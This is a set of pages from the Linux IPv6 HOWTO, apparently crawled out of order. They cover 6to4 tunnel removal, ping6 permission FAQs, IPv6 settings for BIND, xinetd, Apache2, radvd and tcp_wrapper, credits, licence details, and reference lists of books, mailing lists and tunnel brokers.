# /sbin/ifconfig sit0 up

Add local 6to4 address to interface

# /sbin/ifconfig sit0 add <local6to4address>/16

Add (default) route to the global IPv6 network using the all-6to4-relays IPv4 anycast address

# /sbin/route -A inet6 add 2000::/3 gw ::192.88.99.1 dev sit0

8.4.2. Remove a 6to4 tunnel

8.4.2.1. Using "ip" and a dedicated tunnel device

Remove all routes through this dedicated tunnel device

# /sbin/ip -6 route flush dev tun6to4

Shut down interface

# /sbin/ip link set dev tun6to4 down

Remove created tunnel device

# /sbin/ip tunnel del tun6to4

8.4.2.2. Using "ifconfig" and "route" and generic tunnel device "sit0" (deprecated)

Remove (default) route through the 6to4 tunnel interface

# /sbin/route -A inet6 del 2000::/3 gw ::192.88.99.1 dev sit0

Remove local 6to4 address to interface

# /sbin/ifconfig sit0 del <local6to4address>/16

Shut down generic tunnel device (take care about this, perhaps it's still in use...)

# /sbin/ifconfig sit0 down

Prev | Home | Next
Setup of point-to-point tunnel | Up | Configuring IPv4-in-IPv6 tunnels


Credits

Linux IPv6 HOWTO
Prev Chapter 21. Revision history / Credits / The End Next

21.2. Credits

The quickest way to be added to this nice list is to send bug fixes, corrections, and/or updates to me ;-).

If you want to do a major review, you can use the native LyX file (see original source) and send diffs against it, because diffs against SGML don't help too much.

21.2.1. Major credits

  • David Ranch <dranch at trinnet dot net>: For encouraging me to write this HOWTO, his editorial comments on the first few revisions, and his contributions to various IPv6 testing results on my IPv6 web site. Also for his major reviews and suggestions.

  • Pekka Savola <pekkas at netcore dot fi>: For major reviews, input and suggestions.

  • Martin F. Krafft <madduck at madduck dot net>: For grammar checks and general reviewing of the document.

  • John Ronan <j0n at tssg dot wit dot ie>: For grammar checks.

21.2.2. Other credits

21.2.2.1. Document technique related

Writing a LDP HOWTO as a newbie (in LyX and exporting this to DocBook to conform to SGML) isn't as easy as some people say. There are some strange pitfalls... Nevertheless, thanks to:

  • Authors of the LDP Author Guide

  • B. Guillon: For his DocBook with LyX HOWTO

21.2.2.2. Content related credits

Credits for fixes and hints are listed here, will grow sure in the future

  • S .P. Meenakshi <meena at cs dot iitm dot ernet dot in>: For a hint using a "send mail" shell program on tcp_wrapper/hosts.deny

  • Georg Käfer <gkaefer at salzburg dot co dot at>: For detection of no proper PDF creation (fixed now by LDP maintainer Greg Ferguson), input for German books, big list of URLs and some other suggestions

  • Frank Dinies <FrankDinies at web dot de>: For a bugfix on IPv6 address explanation

  • John Freed <jfreed at linux-mag dot com>: For finding a bug in in IPv6 multicast address explanation

  • Craig Rodrigues <crodrigu at bbn dot com>: For suggestion about RHL IPv6 setup

Prev | Home | Next
Revision history | Up | The End


FAQ (IPv6-ready system check)

Linux IPv6 HOWTO
Prev Chapter 4. IPv6-ready system check Next

4.7. FAQ (IPv6-ready system check)

4.7.1. Using tools

4.7.1.1. Q: Cannot ping6 to link-local addresses

Error message: "connect: Invalid argument"

Kernel doesn't know, which physical or virtual link you want to use to send such ICMPv6 packets. Therefore it displays this error message.

Solution: Specify interface like: "ping6 -I eth0 fe80::2e0:18ff:fe90:9205", see also program ping6 usage.

4.7.1.2. Q: Cannot ping6 or traceroute6 as normal user

Error message: "icmp socket: Operation not permitted"

These utilities create special ICMPv6 packets and send them out. This is done by using raw sockets in the kernel. But raw sockets can only be used by the "root" user. Therefore normal users get such error message.

Solution: If it's really needed that all users should be able to use this utilities, you can add the "suid" bit using "chmod u+s /path/to/program", see also program ping6 usage. If not all users should be able to, you can change the group of the program to e.g. "wheel", add this power users to this group and remove the execution bit for other users using "chmod o-rwx /path/to/program". Or configure "sudo" to enable your security policy.

Prev | Home | Next
IPv6-ready server programs | Up | Configuring interfaces


Category

Linux IPv6 HOWTO
Prev Chapter 1. General Next

1.2. Category

This HOWTO should be listed in category "Networking/Protocols".

Prev | Home | Next
Copyright, license and others | Up | Version, History and To-Do


Copyright, license and others

Linux IPv6 HOWTO
Prev Chapter 1. General Next

1.1. Copyright, license and others

1.1.1. Copyright

Written and Copyright (C) 2001-2002 by Peter Bieringer

1.1.2. License

This Linux IPv6 HOWTO is published under GNU GPL version 2:

The Linux IPv6 HOWTO, a guide how to configure and use IPv6 on Linux systems.

Copyright (C) 2001-2002 Peter Bieringer

This documentation is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

1.1.3. About the author

1.1.3.1. Internet/IPv6 history of the author

  • 1993: I got in contact with the Internet using console based e-mail and news client (e.g. look for "e91abier" on groups.google.com, that's me).

  • 1996: I got a request for designing a course on IPv6, including a workshop with the Linux operating system.

  • 1997: Started writing a guide on how to install, configure and use IPv6 on Linux systems, called IPv6 & Linux - HowTo (see IPv6 & Linux - HowTo/History for more information).

  • 2001: Started writing this new Linux IPv6 HOWTO.

1.1.3.2. Contact

The author can be contacted via e-mail at <pb at bieringer dot de> and also via his homepage.

He's currently living in Munich [northern part of Schwabing] / Bavaria / Germany (south) / Europe (middle) / Earth (surface/mainland).

Prev | Home | Next
General | Up | Category


Webserver Apache2 (httpd2)

Linux IPv6 HOWTO
Prev Chapter 17. Hints for IPv6-enabled daemons Next

17.3. Webserver Apache2 (httpd2)

Apache web server supports IPv6 native by maintainers since 2.0.14. Available patches for the older 1.3.x series are not current and shouldn't be used in public environment, but available at KAME / Misc.

17.3.1. Listening on IPv6 addresses

Note: virtual hosts on IPv6 addresses are broken in versions until 2.0.28 (a patch is available for 2.0.28).

17.3.1.1. Virtual host listen on an IPv6 address only

Listen [3ffe:ffff:100::1]:80
<VirtualHost [3ffe:ffff:100::1]:80>
        ServerName ipv6only.yourdomain.yourtopleveldomain
        # ...sure more config lines
</VirtualHost>

17.3.1.2. Virtual host listen on an IPv6 and on an IPv4 address

Listen [3ffe:ffff:100::2]:80
Listen 1.2.3.4:80
<VirtualHost [3ffe:ffff:100::2]:80 1.2.3.4:80>
        ServerName ipv6andipv4.yourdomain.yourtopleveldomain
        # ...sure more config lines
</VirtualHost>

This should result after restart in e.g.

# netstat -lnptu |grep "httpd2\W*$"
tcp 0 0 1.2.3.4:80          0.0.0.0:* LISTEN 12345/httpd2
tcp 0 0 3ffe:ffff:100::1:80 :::*      LISTEN 12345/httpd2
tcp 0 0 3ffe:ffff:100::2:80 :::*      LISTEN 12345/httpd2

For simple tests use the telnet example already shown.

Prev | Home | Next
Internet super daemon (xinetd) | Up | Router Advertisement Daemon (radvd)


Berkeley Internet Name Daemon BIND (named)

Linux IPv6 HOWTO
Prev Chapter 17. Hints for IPv6-enabled daemons Next

17.1. Berkeley Internet Name Daemon BIND (named)

IPv6 is supported since version 9. Always use newest available version. At least version 9.1.3 must be used, older versions can contain remote exploitable security holes.

17.1.1. Listening on IPv6 addresses

Note: unlike in IPv4 current versions doesn't allow to bind a server socket to dedicated IPv6 addresses, so only any or none are valid. Because this can be a security issue, check the Access Control List (ACL) section below, too!

17.1.1.1. Enable BIND named for listening on IPv6 address

To enable IPv6 for listening, following options are requested to change

options {
        # sure other options here, too
        listen-on-v6 { any; };
};

This should result after restart in e.g.

# netstat -lnptu |grep "named\W*$"
tcp 0 0 :::53         :::*      LISTEN 1234/named # incoming TCP requests
udp 0 0 1.2.3.4:53    0.0.0.0:*        1234/named # incoming UDP requests to IPv4 1.2.3.4
udp 0 0 127.0.0.1:53  0.0.0.0:*        1234/named # incoming UDP requests to IPv4 localhost
udp 0 0 0.0.0.0:32868 0.0.0.0:*        1234/named # dynamic chosen port for outgoing queries
udp 0 0 :::53         :::*             1234/named # incoming UDP request to any IPv6

And a simple test looks like

# dig localhost @::1

and should show you a result.

17.1.1.2. Disable BIND named for listening on IPv6 address

To disable IPv6 for listening, following options are requested to change

options {
        # sure other options here, too
        listen-on-v6 { none; };
};

17.1.2. IPv6 enabled Access Control Lists (ACL)

IPv6 enabled ACLs are possible and should be used whenever it's possible. An example looks like following:

acl internal-net {
        127.0.0.1;
        1.2.3.0/24;
        3ffe:ffff:100::/56;
        ::1/128;
        ::ffff:1.2.3.4/128;
};
acl ns-internal-net {
        1.2.3.4;
        1.2.3.5;
        3ffe:ffff:100::4/128;
        3ffe:ffff:100::5/128;
};

This ACLs can be used e.g. for queries of clients and transfer zones to secondary name-servers. This prevents also your caching name-server to be used from outside using IPv6.

options {
        # sure other options here, too
        listen-on-v6 { none; };
        allow-query { internal-net; };
        allow-transfer { ns-internal-net; };
};

It's also possible to set the allow-query and allow-transfer option for most of single zone definitions, too.

17.1.3. Sending queries with dedicated IPv6 address

This option is not required, but perhaps needed:

query-source-v6 address <ipv6address|*> port <port|*>;

17.1.4. Per zone defined dedicated IPv6 addresses

It's also possible to define per zone some IPv6 addresses.

17.1.4.1. Transfer source address

Transfer source address is used for outgoing zone transfers:

transfer-source-v6 <ipv6addr|*> [port port];

17.1.4.2. Notify source address

Notify source address is used for outgoing notify messages:

notify-source-v6 <ipv6addr|*> [port port];

17.1.5. Serving IPv6 related DNS data

For IPv6 new types and root zones for reverse lookups are defined:

  • AAAA and reverse IP6.INT: specified in RFC 1886 / DNS Extensions to support IP version 6, usable since BIND version 4.9.6

  • A6, DNAME and reverse IP6.ARPA: specified in RFC 2874 / DNS Extensions to Support IPv6 Address Aggregation and Renumbering, usable since BIND 9, but see also an information about the current state at draft-ietf-dnsext-ipv6-addresses-00.txt

Perhaps filled later more content, for the meantime take a look at given RFCs and

  • AAAA and reverse IP6.INT: IPv6 DNS Setup Information

  • A6, DNAME and reverse IP6.ARPA: take a look into chapter 4 and 6 of the BIND 9 Administrator Reference Manual (ARM) distributed which the bind-package or get this here: BIND version 9 ARM (PDF)

Because IP6.INT is deprecated (but still in use), a DNS server which will support IPv6 information has to serve both reverse zones.

17.1.5.1. Current best practice

Because there are some troubles around using the new formats, current best practice is:

Forward lookup support:

  • AAAA

  • A6 without chaining, means prefix length value set to 0

Reverse lookup support:

  • Reverse nibble format for zone ip6.int

  • Reverse nibble format for zone ip6.arpa

17.1.6. Checking IPv6-enabled connect

To check, whether BIND is listening on an IPv6 socket and serving data see following examples.

17.1.6.1. IPv6 connect, but denied by ACL

Specifying a dedicated server for the query, an IPv6 connect can be forced:

$ host -t aaaa www.6bone.net 3ffe:ffff:200:f101::1
Using domain server:
Name: 3ffe:ffff:200:f101::1
Address: 3ffe:ffff:200:f101::1#53
Aliases:
Host www.6bone.net. not found: 5(REFUSED)

Related log entry looks like following:

Jan 3 12:43:32 gate named[12347]: client
¬ 3ffe:ffff:200:f101:212:34ff:fe12:3456#32770:
 query denied

If you see such entries in the log, check whether requests from this client should be allowed and perhaps review your ACL configuration.

17.1.6.2. Successful IPv6 connect

A successful IPv6 connect looks like following:

$ host -t aaaa www.6bone.net 3ffe:ffff:200:f101::1
Using domain server:
Name: 3ffe:ffff:200:f101::1
Address: 3ffe:ffff:200:f101::1#53
Aliases:
www.6bone.net. is an alias for 6bone.net.
6bone.net. has AAAA address 3ffe:b00:c18:1::10

Prev | Home | Next
Hints for IPv6-enabled daemons | Up | Internet super daemon (xinetd)


Router Advertisement Daemon (radvd)

Linux IPv6 HOWTO
Prev Chapter 17. Hints for IPv6-enabled daemons Next

17.4. Router Advertisement Daemon (radvd)

The router advertisement daemon is very useful on a LAN, if clients should be auto-configured. The daemon itself should run a Linux router (not necessary the default IPv4 gateway).

You can specify some information and flags which should be contained in the advertisement. Common used are

  • Prefix (needed)

  • Lifetime of the prefix

  • Frequency of sending advertisements (optional)

After a proper configuration, the daemon sends advertisements through specified interfaces and clients are hopefully receive them and auto-magically configure addresses with received prefix and the default route.

17.4.1. Configuring radvd

17.4.1.1. Simple configuration

Radvd's config file is normally /etc/radvd.conf. An simple example looks like following:

interface eth0 {
        AdvSendAdvert on;
        MinRtrAdvInterval 3;
        MaxRtrAdvInterval 10;
        prefix 3ffe:ffff:0100:f101::/64 {
                AdvOnLink on;
                AdvAutonomous on;
                AdvRouterAddr on;
        };
};

This results on client side in

# ip -6 addr show eth0
3: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 100
    inet6 3ffe:ffff:100:f101:2e0:12ff:fe34:1234/64 scope global dynamic
       valid_lft 2591992sec preferred_lft 604792sec
    inet6 fe80::2e0:12ff:fe34:1234/10 scope link

Because no lifetime was defined, a very high value was used.

17.4.1.2. Special 6to4 configuration

Version since 0.6.2pl3 support the automatic (re)-generation of the prefix depending on an IPv4 address of a specified interface. This can be used to distribute advertisements in a LAN after the 6to4 tunneling has changed. Mostly used behind a dynamic dial-on-demand Linux router. Because of the sure shorter lifetime of such prefix (after each dial-up, another prefix is valid), the lifetime configured to minimal values:

interface eth0 {
        AdvSendAdvert on;
        MinRtrAdvInterval 3;
        MaxRtrAdvInterval 10;
        prefix 0:0:0:f101::/64 {
                AdvOnLink off;
                AdvAutonomous on;
                AdvRouterAddr on;
                Base6to4Interface ppp0;
                AdvPreferredLifetime 20;
                AdvValidLifetime 30;
        };
};

This results on client side in (assuming, ppp0 has currently 1.2.3.4 as local IPv4 address):

# ip -6 addr show eth0
3: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 100
   inet6 2002:0102:0304:f101:2e0:12ff:fe34:1234/64 scope global dynamic
      valid_lft 22sec preferred_lft 12sec
   inet6 fe80::2e0:12ff:fe34:1234/10 scope link

Because a small lifetime was defined, such prefix will be thrown away quickly, if no related advertisement was received.

17.4.2. Debugging

A program called "radvdump" can help you looking into sent or received advertisements. Simple to use:

# radvdump
Router advertisement from fe80::280:c8ff:feb9:cef9 (hoplimit 255)
        AdvCurHopLimit: 64
        AdvManagedFlag: off
        AdvOtherConfigFlag: off
        AdvHomeAgentFlag: off
        AdvReachableTime: 0
        AdvRetransTimer: 0
        Prefix 2002:0102:0304:f101::/64
                AdvValidLifetime: 30
                AdvPreferredLifetime: 20
                AdvOnLink: off
                AdvAutonomous: on
                AdvRouterAddr: on
        Prefix 3ffe:ffff:100:f101::/64
                AdvValidLifetime: 2592000
                AdvPreferredLifetime: 604800
                AdvOnLink: on
                AdvAutonomous: on
                AdvRouterAddr: on
        AdvSourceLLAddress: 00 80 12 34 56 78

Output shows you each advertisement package in readable format. You should see your configured values here again, if not, perhaps it's not your radvd which sends the advertisement...look for another router on the link (and take the LLAddress, which is the MAC address for tracing).

Prev | Home | Next
Webserver Apache2 (httpd2) | Up | tcp_wrapper


tcp_wrapper

Linux IPv6 HOWTO
Prev Chapter 17. Hints for IPv6-enabled daemons Next

17.5. tcp_wrapper

tcp_wrapper is a library which can help you to protect service against misuse.

17.5.1. Filtering capabilities

You can use tcp_wrapper for

  • Filtering against source addresses (IPv4 or IPv6)

  • Filtering against users (requires a running ident daemon on the client)

17.5.2. Which program uses tcp_wrapper

Following are known:

  • Each service which is called by xinetd (if xinetd is compiled using tcp_wrapper library)

  • sshd (if compiled using tcp_wrapper)

17.5.3. Usage

tcp_wrapper is controlled by two files name /etc/hosts.allow and /etc/hosts.deny. For more information see

$ man hosts.all

17.5.3.1. Example for /etc/hosts.allow

In this file, each service which should be positive filtered (means connects are accepted) need a line.

sshd:           1.2.3. [3ffe:ffff:100:200::]/64
daytime-stream: 1.2.3. [3ffe:ffff:100:200::]/64

17.5.3.2. Example for /etc/hosts.deny

This file contains all negative filter entries and should normally deny the rest using

ALL: ALL

If this node is a more sensible one you can replace the standard line above with this one, but this can cause a DoS attack (load of mailer and spool directory), if too many connects were made in short time. Perhaps a logwatch is better for such issues.

ALL: ALL: spawn (echo "Attempt from %h %a to %d at `date`"
 | tee -a /var/log/tcp.deny.log | mail root@localhost)

17.5.4. Logging

Depending on the entry in the syslog daemon configuration file /etc/syslog.conf the tcp_wrapper logs normally into /var/log/secure.

17.5.4.1. Refused connection

A refused connection via IPv4 to an xinetd covered daytime service produces a line like following example

Jan 2 20:40:44 gate xinetd-ipv6[12346]: FAIL: daytime-stream libwrap
¬ from=::ffff:1.2.3.4
Jan 2 20:32:06 gate xinetd-ipv6[12346]: FAIL: daytime-stream libwrap
 from=3ffe:ffff:100:200::212:34ff:fe12:3456

A refused connection via IPv4 to an dual-listen sshd produces a line like following example

Jan 2 20:24:17 gate sshd[12345]: refused connect from ::ffff:1.2.3.4
¬ (::ffff:1.2.3.4)
Jan 2 20:39:33 gate sshd[12345]: refused connect
 from 3ffe:ffff:100:200::212:34ff:fe12:3456
¬ (3ffe:ffff:100:200::212:34ff:fe12:3456)

17.5.4.2. Permitted connection

A permitted connection via IPv4 to an xinetd covered daytime service produces a line like following example

Jan 2 20:37:50 gate xinetd-ipv6[12346]: START: daytime-stream pid=0
¬ from=::ffff:1.2.3.4
Jan 2 20:37:56 gate xinetd-ipv6[12346]: START: daytime-stream pid=0
 from=3ffe:ffff:100:200::212:34ff:fe12:3456

A permitted connection via IPv4 to an dual-listen sshd produces a line like following example

Jan 2 20:43:10 gate sshd[21975]: Accepted password for user from ::ffff:1.2.3.4
¬ port 33381 ssh2
Jan 2 20:42:19 gate sshd[12345]: Accepted password for user
 from 3ffe:ffff:100:200::212:34ff:fe12:3456 port 33380 ssh2

Prev | Home | Next
Router Advertisement Daemon (radvd) | Up | Programming (using API)


Internet super daemon (xinetd)

Linux IPv6 HOWTO
Prev Chapter 17. Hints for IPv6-enabled daemons Next

17.2. Internet super daemon (xinetd)

IPv6 is supported since version around 1.8.9. Always use newest available version. At least version 2.3.3 must be used, older versions can contain remote exploitable security holes.

Some Linux distribution contain an extra package for the IPv6 enabled xinetd, some others start the IPv6-enabled xinetd if following variable is set: NETWORKING_IPV6="yes", mostly done by /etc/sysconfig/network (only valid for Red Hat like distributions).

If you enable a built-in service like e.g. daytime by modifying the configuration file in /etc/xinetd.d/daytime like

# diff -u /etc/xinetd.d/daytime.orig /etc/xinetd.d/daytime
--- /etc/xinetd.d/daytime.orig Sun Dec 16 19:00:14 2001
+++ /etc/xinetd.d/daytime Sun Dec 16 19:00:22 2001
@@ -10,5 +10,5 @@
        protocol = tcp
        user = root
        wait = no
-       disable = yes
+       disable = no
 }

After restarting the xinetd you should get a positive result like:

# netstat -lnptu -A inet6 |grep "xinetd*"
tcp 0 0 ::ffff:192.168.1.1:993  :::*  LISTEN  12345/xinetd-ipv6
tcp 0 0 :::13                   :::*  LISTEN  12345/xinetd-ipv6 <- service
¬ daytime/tcp
tcp 0 0 ::ffff:192.168.1.1:143  :::*  LISTEN  12345/xinetd-ipv6

Shown example also displays an IMAP and IMAP-SSL IPv4-only listening xinetd.

Note: An IPv4-only xinetd won't start on an IPv6-enabled node and also the IPv6-enabled won't start on an IPv4-only node (will be hopefully fixed in the future).

Prev | Home | Next
Berkeley Internet Name Daemon BIND (named) | Up | Webserver Apache2 (httpd2)


Linux IPv6 HOWTO

Peter Bieringer

pb (at) bieringer.de

Revision History
Revision Release 0.23 | 2002-03-27 | Revised by: PB
See revision history for more
Revision Release 0.22 | 2002-03-04 | Revised by: PB
See revision history for more
Revision Release 0.21 | 2002-02-26 | Revised by: PB
See revision history for more

The goal of the Linux IPv6 HOWTO is to answer both basic and advanced questions about IPv6 on the Linux operating system. This HOWTO will provide the reader with enough information to install, configure, and use IPv6 applications on Linux machines.

Table of Contents
1. General
1.1. Copyright, license and others
1.2. Category
1.3. Version, History and To-Do
1.4. Translations
1.5. Technical
1.6. Preface
1.7. Used terms
1.8. Requirements for using this HOWTO
2. Basics
2.1. What is IPv6?
2.2. History of IPv6 in Linux
2.3. How do IPv6 addresses look like?
2.4. FAQ (Basics)
3. Address types
3.1. Addresses without a special prefix
3.2. Network part, also known as prefix
3.3. Address types (host part)
3.4. Prefix lengths for routing
4. IPv6-ready system check
4.1. IPv6-ready kernel
4.2. IPv6-ready network configuration tools
4.3. IPv6-ready test/debug programs
4.4. IPv6-ready programs
4.5. IPv6-ready client programs (selection)
4.6. IPv6-ready server programs
4.7. FAQ (IPv6-ready system check)
5. Configuring interfaces
5.1. Different network devices
5.2. Bringing interfaces up/down
6. Configuring IPv6 addresses
6.1. Displaying existing IPv6 addresses
6.2. Add an IPv6 address
6.3. Removing an IPv6 address
7. Configuring normal IPv6 routes
7.1. Displaying existing IPv6 routes
7.2. Add an IPv6 route through a gateway
7.3. Removing an IPv6 route through a gateway
7.4. Add an IPv6 route through an interface
7.5. Removing an IPv6 route through an interface
7.6. FAQ for IPv6 routes
8. Configuring IPv6-in-IPv4 tunnels
8.1. Types of tunnels
8.2. Displaying existing tunnels
8.3. Setup of point-to-point tunnel
8.4. Setup of 6to4 tunnels
9. Configuring IPv4-in-IPv6 tunnels
10. Kernel settings
10.1. /proc filesystem
10.2. Netlink
11. Network debugging
11.1. Server socket binding
11.2. Examples for tcpdump packet dumps
12. Support for persistent IPv6 configuration in Linux distributions
12.1. Red Hat Linux and "clones"
12.2. SuSE Linux
12.3. Debian Linux
13. Auto-configuration and mobility
13.1. Stateless auto-configuration
13.2. Stateful auto-configuration using Router Advertisement Daemon (radvd)
13.3. Dynamic Host Configuration Protocol v6 (DHCPv6)
13.4. Mobility
14. Firewalling and security issues
14.1. Firewalling
14.2. Security
15. Encryption and Authentication
15.1. Support in kernel
15.2. Usage
16. Quality of Service (QoS)
17. Hints for IPv6-enabled daemons
17.1. Berkeley Internet Name Daemon BIND (named)
17.2. Internet super daemon (xinetd)
17.3. Webserver Apache2 (httpd2)
17.4. Router Advertisement Daemon (radvd)
17.5. tcp_wrapper
18. Programming (using API)
19. Interoperability
20. Further information and URLs
20.1. Paper printed books, articles, online reviews (mixed)
20.2. Online information
20.3. Online test tools
20.4. Maillists
21. Revision history / Credits / The End
21.1. Revision history
21.2. Credits
21.3. The End
Next
General


Paper printed books, articles, online reviews (mixed)

Linux IPv6 HOWTO
Prev Chapter 20. Further information and URLs Next

20.1. Paper printed books, articles, online reviews (mixed)

20.1.1. German language

  • Technik der IP-Netze (TCP/IP incl. IPv6) bei Amazon.de Anatol Badach, Erwin Hoffmann Carl Hanser Verlag München, Wien, 2001 ISBN: 3-446-21501-8 Kap. 6: Protokoll IPv6 S.205-242 Kap. 7: Plug&Play-Unterstützung bei IPv6 S.243-276 Kap. 8: Migration zum IPv6-Einsatz S.277-294 Kap. 9.3.4: RIP für das Protokoll IPv6 (RIPng) S.349-351 Kap. 9.4.6: OSPF für IPv6 S.384-385 Kommentar: tw. nicht ganz up-to-date bzw. nicht ganz fehlerfreie Abbildungen Homepage des Buches und Tabelle mit Fixes

  • Internet-Sicherheit (Browser, Firewalls und Verschlüsselung) bei Amazon.de Kai Fuhrberg 2. akt. Auflage 2000 Carl Hanser Verlag München, Wien, ISBN: 3-446-21333-3 Kap.2.3.1.4. IPv6 S.18-22 Kurz angerissen werden: RFC1825 - Security Association Konzept RFC1826 - IP authentication Header RFC1827 - IP Encapsulation Security Payload

20.1.2. Articles, Books, Online Reviews (mixed)

  • Getting Connected with 6to4 by Huber Feyrer, 06/01/2001

  • How Long the Aversion to IP Version 6 - Review of META Group, Inc., full access needs (free) registration at META Group, Inc.

  • O'reilly Network search for keyword IPv6 results in 29 hits (28. January 2002)

  • Wireless boosting IPv6 by Carolyn Duffy Marsan, 10/23/2000

  • IPv6, théorie et pratique (french) 2e édition, mars 1999, O'Reilly (??? no newer one available ???) ISBN: 2-84177-085-0

  • Internetworking IPv6 with Cisco Routers by Silvano Gai, McGrawHill Italia, 1997 13 chapters and appendix A-D are downloadable as PDF-documents.

  • Secure and Dynamic Tunnel Broker by Vegar Skaerven Wang, Master of Engineering Thesis in Computer Science, 2.June 2000, Faculty of Science, Dep.of Computer Science, University of Tromso, Norway.

  • Aufbruch in die neue Welt - IPv6 in IPv4 Netzen von Dipl.Ing. Ralf Döring, TU Illmenau, 1999

  • Migration and Co-existence of IPv4 and IPv6 in Residential Networks by Pekka Savola, CSC/FUNET, 2002

  • Book IPv6 Essentials written by Silvia Hagen, release planned for April 2002

20.1.3. Others

See following URL for more: SWITCH IPv6 Pilot / References

Prev | Home | Next
Further information and URLs | Up | Online information


Maillists

Linux IPv6 HOWTO
Prev Chapter 20. Further information and URLs Next

20.4. Maillists

Request e-mail address | What to subscribe | Maillist e-mail address | Language | Focus | Access through WWW
majordomo (at) oss.sgi.com | netdev | netdev (at) oss.sgi.com | English | Linux kernel networking including IPv6 | Archive
majordomo (at) list.mipl.mediapoli.com | mipl | mipl (at) list.mipl.mediapoli.com | English | Mobile IP for Linux | Info, Archive
majordomo (at) atlan.uni-muenster.de | ipv6 | ipv6 (at) uni-muenster.de | German/English | IPv6/6bone in Germany | Info, Archive
majordomo (at) isi.edu | 6bone | 6bone (at) isi.edu | English | 6bone | Info, Threaded archive, Mirror of archive
majordomo (at) sunroof.eng.sun.com | ipng | ipng (at) sunroof.eng.sun.com | English | IPv6 discussions | Info, Archive, Mirror of archive
majordomo (at) ipv6.org | users | users (at) ipv6.org | English | IPv6 users | Info
usagi-users-ctl (at) linux-ipv6.org |  | usagi-users (at) linux-ipv6.org | English | Linux IPv6 users using USAGI extension | Info / Search, Archive
bugtraq-subscribe (at) securityfocus.com |  | bugtraq (at) securityfocus.com (moderated) | English | Bugtracking of Internet applications* | Info, Archive
Web-based, see URL |  | ipv6 (at) ipng.nl | English | IPv6 in general | Info/Subscription, Archive
majordomo (at) mfa.eti.br | ipv6 | ipv6 (at) mfa.eti.br | Portuguese |  | Info

*very recommended if you provide server applications.

Something missing? Suggestions are welcome!

Another list is available at JOIN Project / List of IPv6-related maillists.

Prev | Home | Next
Online test tools | Up | Revision history / Credits / The End


Online information

Linux IPv6 HOWTO
Prev Chapter 20. Further information and URLs Next

20.2. Online information

20.2.1. Join the IPv6 backbone

More to be filled later...suggestions are welcome!

20.2.1.1. Global registries

  • IPv6 test backbone: 6bone, How to join 6bone

20.2.1.2. Major regional registries

  • America: ARIN, ARIN / registration page, ARIN / IPv6 guidelines

  • EMEA: Ripe NCC, Ripe NCC / registration page, Ripe NCC / IPv6 registration

  • Asia/Pacific: APNIC, APNIC / IPv6 information

  • Latin America and Caribbea: LACNIC

  • Africa: AfriNIC

Also a list of major (prefix length 35) allocations per local registry is available here: Ripe NCC / IPv6 allocations.

20.2.1.3. Tunnel brokers

  • Freenet6, Canada

  • Hurricane Electric, US backbone

  • Centro Studi e Laboratory Telecomunicazioni, Italy

  • Wanadoo, Belgium

  • CERTNET-Nokia, China

  • Tunnelbroker Leipzig, Germany - DialupUsers with dynamic IP's can get a fix IPv6 IP...

  • Internet Initiative Japan, Japan - with IPv6 native line service and IPv6 tunneling Service

  • XS26 - "Access to Six", Netherland - with POPs in Slovak Republic, Czech Republic, Netherlands, Germany and Hungary.

  • IPng Netherland, Netherland - Intouch, SurfNet, AMS-IX, UUNet, Cistron, RIPE NCC and AT&T are connected at the AMS-IX. It is possible (there are requirements...) to get an static tunnel.

  • UNINETT, Norway - Pilot IPv6 Service (for Customers): tunnelbroker & address allocation

  • NTT Europe, NTT Euroope, United Kingdom - IPv6 Trial. IPv4 Tunnel and native IPv6 leased Line connections. POPs are located in London, UK Dusseldorf, Germany New Jersey, USA (East Coast) Cupertino, USA (West Coast) Tokyo, Japan

  • ESnet, USA - Energy Sciences Network: Tunnel Registry & Address Delegation for directly connected ESnet sites and ESnet collaborators.

  • 6REN, USA - The 6ren initiative is being coordinated by the Energy Sciences Network (ESnet), the network for the Energy Research program of the US Dept. of Energy, located at the University of California's Lawrence Berkeley National Laboratory

See also here for more information and URLs: ipv6-net.org.

20.2.1.4. 6to4

  • NSayer's 6to4 information

  • RFC 3068 / An Anycast Prefix for 6to4 Relay Routers

20.2.2. Latest news

More to be filled later...suggestions are welcome!

  • hs247 / IPv6 news and information, also homepage for #ipv6 channel on EFnet

  • bofh.st / latest IPv6 news (but currently [Jan 2002] outdated...), also homepage for #IPv6 channel on IRCnet

  • ipv6-net.org, German forum

20.2.3. Protocol references

More to be filled later...suggestions are welcome!

  • Current IEFT drafts of IP Version 6 Working Group (ipv6)

  • Network Sorcery / IPv6, Internet Protocol version 6, IPv6 protocol header

  • SWITCH IPv6 Pilot / References, big list of IPv6 references maintained by Simon Leinen

20.2.4. More information

More to be filled later...suggestions are welcome!

20.2.4.1. Linux related

  • IPv6-HowTo for Linux by Peter Bieringer - Germany, and his Bieringer / IPv6 - software archive

  • Linux+IPv6 status by Peter Bieringer - Germany

  • USAGI project - Japan, and their USAGI project - software archive

  • Gav's Linux IPv6 Page

  • Project6 - IPv6 Networking For Linux - Italy, and their Project6 - software archive

20.2.4.2. Linux related per distribution

PLD

Polish(ed) Linux Distribution ("market leader" in containing IPv6 enabled packages)

Red Hat

Red Hat Linux, Pekka Savola's IPv6 packages

Debian

Debian Linux, Craig Small's IPv6 information and status

SuSE

SuSE Linux

Mandrake

Linux Mandrake

For more see the distribution status page

20.2.4.3. General

  • IPv6.org

  • 6bone

  • UK IPv6 Resource Centre - UK

  • JOIN: IPv6 information - Germany, by the JOIN project team maintaining also Links to external WWW pages comprising IPv6/IPng

  • TIPSTER6 project - Hungary, "Testing Experimental IPv6 Technology and Services in Hungary"

  • WIDE project - Japan

  • SWITCH IPv6 Pilot - Switzerland

  • IPv6 Corner of Hubert Feyrer - Germany

  • Vermicelli Project - Norway

  • IPv6 Forum - a world-wide consortium of leading Internet vendors, Research & Education Networks...

  • Playground.sun.com / IPv6 Info Page - maintained by Robert Hinden, Nokia

  • NASA Ames Research Center (old content)

  • 6INIT - IPv6 Internet Initiative - an EU Fifth Framework Project under the IST Programme

Something missing? Suggestions are welcome!

20.2.4.4. In Portuguese

  • IPv6 pages of Miguel Rosa

  • FCCN (National Foundation for the Scientific Computation)

